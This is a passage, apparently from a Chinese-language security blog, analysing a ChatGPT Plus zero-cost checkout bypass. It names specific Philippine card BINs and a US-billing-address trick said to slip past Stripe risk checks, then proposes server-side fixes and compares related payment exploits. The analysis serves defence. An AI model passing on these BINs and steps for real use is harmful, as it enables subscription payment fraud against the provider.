&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;https://chatgpt.com/backend-api/payment/checkout&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;Authorization&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="sb"&gt;`Bearer &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;accessToken&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;Content-Type&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;plus&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 关键：这里可能注入了额外参数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// billing_country? currency? locale?
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;checkout_url&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// checkout_url = &amp;#34;https://chatgpt.com/checkout/openai_llc/oaics_...&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;关键问题：工具只是&amp;quot;转发&amp;quot;了 AT，还是&amp;quot;动了手脚&amp;quot;？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;考虑到 PH 区有明确的 Plus 定价（约 ₱990/月），而结果是 ₱0——&lt;strong&gt;工具大概率不只是简单转发&lt;/strong&gt;。它在创建 Checkout Session 时注入了额外参数，利用跨区账号的异常处理路径绕过了服务端校验。&lt;/p&gt;
&lt;p&gt;具体注入了什么参数？没有抓包数据我们无法确定。可能是 &lt;code&gt;promotion_code&lt;/code&gt;、&lt;code&gt;discount&lt;/code&gt;、&lt;code&gt;currency&lt;/code&gt; + &lt;code&gt;amount&lt;/code&gt; 覆盖、甚至是一个 OpenAI 内部的免费试用 API 路径。但有一点可以确定：&lt;strong&gt;如果工具只是忠实转发 AT，以 PH 区 ₱990 的定价，结果不可能是 ₱0。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;工具是这个攻击链中最不透明的环节。你把 Access Token——等同于你的登录态——交给了一个第三方服务。它用你的身份做了什么请求、传了什么参数，你完全不知道。这也是为什么整个流程的&amp;quot;技术含量&amp;quot;看似很低——&lt;strong&gt;核心逻辑都藏在工具服务端里&lt;/strong&gt;，用户只是按步骤操作。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="五bin-选择不是随便什么卡都行"&gt;五、BIN 选择——不是随便什么卡都行
&lt;/h2&gt;&lt;p&gt;流传的步骤里特别强调了两个 BIN：&lt;code&gt;523686&lt;/code&gt;（Mastercard）和 &lt;code&gt;4513&lt;/code&gt;（Visa）。这不是随便挑的。&lt;/p&gt;
&lt;h3 id="bin-在支付流中的角色"&gt;BIN 在支付流中的角色
&lt;/h3&gt;&lt;p&gt;BIN（Bank Identification Number）是卡号的前 6-8 位，编码了发卡行、卡网络、卡类型和发行国等信息。Stripe 在收到卡号的前 6 位时就能确定：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;523686 → Mastercard / Philippines / Credit / 某发卡行
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个信息会被写入 &lt;code&gt;payment_method.card.country&lt;/code&gt;，并在整个支付流中传播。&lt;/p&gt;
&lt;h3 id="为什么必须是-ph-bin"&gt;为什么必须是 PH BIN？
&lt;/h3&gt;&lt;p&gt;PH BIN 的作用不是&amp;quot;触发一个空的价格表&amp;quot;——PH 价格表是存在的（约 ₱990/月）。&lt;/p&gt;
&lt;p&gt;更可能的解释是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;货币匹配&lt;/strong&gt;：如果工具创建的 Checkout Session 指定了 &lt;code&gt;currency: &amp;quot;php&amp;quot;&lt;/code&gt;，那么 PH 发行的卡才能让 Stripe 的 currency-card 一致性检查通过。US 卡 + PHP 货币会触发额外的风控审查。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;风控绕过&lt;/strong&gt;：OpenAI/Stripe 的风控系统可能对&amp;quot;card country = PH + checkout currency = PHP&amp;quot;这个组合判定为&amp;quot;正常的本地交易&amp;quot;，不会触发跨境支付的额外校验。而如果用 JP 卡或 US 卡来付一笔 0 PHP 的订单，风控更容易拦截。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AVS 绕过&lt;/strong&gt;：PH 卡不走 Stripe 的 AVS 地址校验，所以填什么地址都行——这降低了被拒的概率。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;523686 和 4513 是经过实测确认能被 Stripe 正确识别为 &lt;code&gt;card.country = &amp;quot;PH&amp;quot;&lt;/code&gt; 的 BIN 段。不是所有 PH BIN 都行，因为某些 BIN 可能已被 OpenAI/Stripe 的风控规则标记或黑名单。&lt;/p&gt;
&lt;h3 id="为什么要填美国账单地址"&gt;为什么要填美国账单地址？
&lt;/h3&gt;&lt;p&gt;这步看起来矛盾——卡是菲律宾的，地址填美国？&lt;/p&gt;
&lt;p&gt;原因是 Stripe 的 AVS（Address Verification Service）只对美国和英国的卡做地址校验。PH 卡不走 AVS，所以你填什么地址都无所谓——但如果你填 PH 地址，可能触发 OpenAI 的额外风控逻辑。填 US 地址是为了&amp;quot;看起来正常&amp;quot;，降低被风控拦截的概率。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="六从防御视角看openai-需要修什么"&gt;六、从防御视角看——OpenAI 需要修什么
&lt;/h2&gt;&lt;p&gt;不管具体是哪种假说成立，防御原则是通用的。&lt;/p&gt;
&lt;h3 id="修复方案从简单到全面"&gt;修复方案（从简单到全面）
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Level 1：Checkout Session 金额校验&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_checkout_session&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;price&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_price&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;resolve_country&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;amount&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;plan&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;free&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Zero-amount checkout for paid plan&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;付费产品金额为 0 时直接拒绝创建 session。这应该是支付系统的基本不变量。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level 3：区域一致性校验&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;resolve_country&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;signals&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;registration&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;billing_country&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# JP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;session_ip&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;geoip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current_ip&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="c1"&gt;# US&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;card_bin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# 创建 session 时还不知道&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 如果注册地和 session IP 不一致，以注册地为准&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 不让 card BIN 覆盖定价区域&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;signals&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;registration&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;定价的 country 由一个确定性函数决定，不受 card BIN 影响。Card BIN 的 country 只用于风控信号，不参与定价。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level 4：Webhook 后置校验&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_checkout_completed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;amount_total&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;subscription&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 0 元订阅？不对劲&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;stripe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Subscription&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;subscription&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Zero-amount subscription detected&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;即使 Checkout Session 创建时金额为 0，在 &lt;code&gt;checkout.session.completed&lt;/code&gt; webhook 里也要做最终校验。这是最后一道防线。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="七这个漏洞和之前的几个有什么关系"&gt;七、这个漏洞和之前的几个有什么关系？
&lt;/h2&gt;&lt;p&gt;放在一起看，这几个月被扒出来的 ChatGPT/Claude 支付漏洞其实形成了一个谱系：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;漏洞&lt;/th&gt;
 &lt;th&gt;攻击层&lt;/th&gt;
 &lt;th&gt;改了什么&lt;/th&gt;
 &lt;th&gt;核心缺陷&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/google-play-ccmax-proration-vulnerability-2026/" target="_blank" rel="noopener"
 &gt;prorationMode Hook&lt;/a&gt;&lt;/td&gt;
 &lt;td&gt;客户端内存&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;putInt&lt;/code&gt; 的一个参数&lt;/td&gt;
 &lt;td&gt;Google Play 信任客户端传入的升级策略&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/claude-cassia-mock-payment-bypass-analysis/" target="_blank" rel="noopener"
 &gt;焚决 (cassia)&lt;/a&gt;&lt;/td&gt;
 &lt;td&gt;HTTP 响应&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;checkout_flow&lt;/code&gt; 字段&lt;/td&gt;
 &lt;td&gt;前端根据 API 响应选择支付通道，后端不校验&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/gpt-plus-exploit-revenuecat-vulnerability/" target="_blank" rel="noopener"
 &gt;RevenueCat 转移&lt;/a&gt;&lt;/td&gt;
 &lt;td&gt;聚合器 API&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;is_restore&lt;/code&gt; + &lt;code&gt;app_user_id&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;匿名购买 + restore 归属无限转移&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/gpt-plus-exploit-revenuecat-vulnerability/" target="_blank" rel="noopener"
 &gt;API 响应注入&lt;/a&gt;&lt;/td&gt;
 &lt;td&gt;HTTP 响应&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;eligible_promo_campaigns&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;优惠码资格校验仅在前端&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;0 PHP 跨区&lt;/strong&gt; (本文)&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;定价系统&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;区域信号 + 工具注入&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;跨区歧义打开异常路径 + checkout 参数校验缺失&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注意到了吗？攻击层在不断&amp;quot;上移&amp;quot;。&lt;/p&gt;
&lt;p&gt;早期的漏洞需要 Root、需要 Frida、需要改代码——门槛不低。焚决降到了一个油猴脚本的水平。而 0 PHP 攻击&lt;strong&gt;连脚本都不需要&lt;/strong&gt;——纯操作流程，任何人都能复现。&lt;/p&gt;
&lt;p&gt;从攻击者的角度看，这是一个自然演进：&lt;strong&gt;当客户端层的防御越来越强（代码混淆、完整性校验、证书绑定），攻击者就会转向更高层——业务逻辑层、定价系统层、区域路由层。&lt;/strong&gt; 这些层的防御往往更薄弱，因为它们不像&amp;quot;加密&amp;quot;“签名&amp;quot;那样有明确的安全框架，它们是业务系统的一部分，安全评审时容易被忽略。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="八更通用的攻击模式区域信号碎片化"&gt;八、更通用的攻击模式——“区域信号碎片化”
&lt;/h2&gt;&lt;p&gt;0 PHP 攻击其实揭示了一个通用的攻击模式，我把它叫做**“区域信号碎片化攻击”（Region Signal Fragmentation）**。&lt;/p&gt;
&lt;h3 id="攻击模型"&gt;攻击模型
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;victim_system&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pricing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;country&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;country&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;signal_1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;registration_country&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;←&lt;/span&gt; &lt;span class="err"&gt;攻击者控制（注册时选择&lt;/span&gt; &lt;span class="n"&gt;VPN&lt;/span&gt; &lt;span class="err"&gt;节点）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;signal_2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;session_ip_country&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;←&lt;/span&gt; &lt;span class="err"&gt;攻击者控制（登录时选择&lt;/span&gt; &lt;span class="n"&gt;VPN&lt;/span&gt; &lt;span class="err"&gt;节点）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;signal_3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;card_bin_country&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;←&lt;/span&gt; &lt;span class="err"&gt;攻击者控制（选择特定&lt;/span&gt; &lt;span class="n"&gt;BIN&lt;/span&gt; &lt;span class="err"&gt;的卡）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;signal_4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;browser_locale&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;←&lt;/span&gt; &lt;span class="err"&gt;攻击者控制（浏览器设置）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;signal_5&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;billing_address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;←&lt;/span&gt; &lt;span class="err"&gt;攻击者控制（表单填写）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;所有五个信号都由攻击者完全控制。如果 &lt;code&gt;resolve()&lt;/code&gt; 函数对歧义输入的处理不当——比如进入异常分支后放松了参数校验，或者 fallback 逻辑允许客户端覆盖定价——攻击者就能把定价推入非预期状态。&lt;/p&gt;
&lt;h3 id="防御原则"&gt;防御原则
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;原则一：定价权归一&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pricing_country = user.billing_country // 只有一个来源，注册时确定
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// card BIN、IP、locale 都不参与定价决策
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// 只作为风控辅助信号
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;原则二：Checkout 参数不可客户端覆盖&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 服务端决定 price、currency、amount
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 客户端/第三方传入的 discount、coupon、price_override 一律忽略
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 只接受服务端白名单内的 promotion_code，且校验账号资格
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;checkout_session = stripe.checkout.Session.create(
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; line_items=[server_determined_price], # 不接受客户端 price_data
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; discounts=[], # 不接受客户端 coupon
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;客户端能影响定价 = 攻击面。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原则三：零元红线&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if checkout.amount == 0 and plan.type == &amp;#34;paid&amp;#34;:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; REJECT() // 无条件拒绝
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;付费产品不可能合法地出现 0 元。这应该是一个硬编码的不变量，不依赖任何业务逻辑。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="九写在最后"&gt;九、写在最后
&lt;/h2&gt;&lt;p&gt;从 prorationMode 到焚决到 RevenueCat 到 0 PHP，每一个漏洞都指向同一个结构性问题：&lt;/p&gt;

 &lt;blockquote&gt;
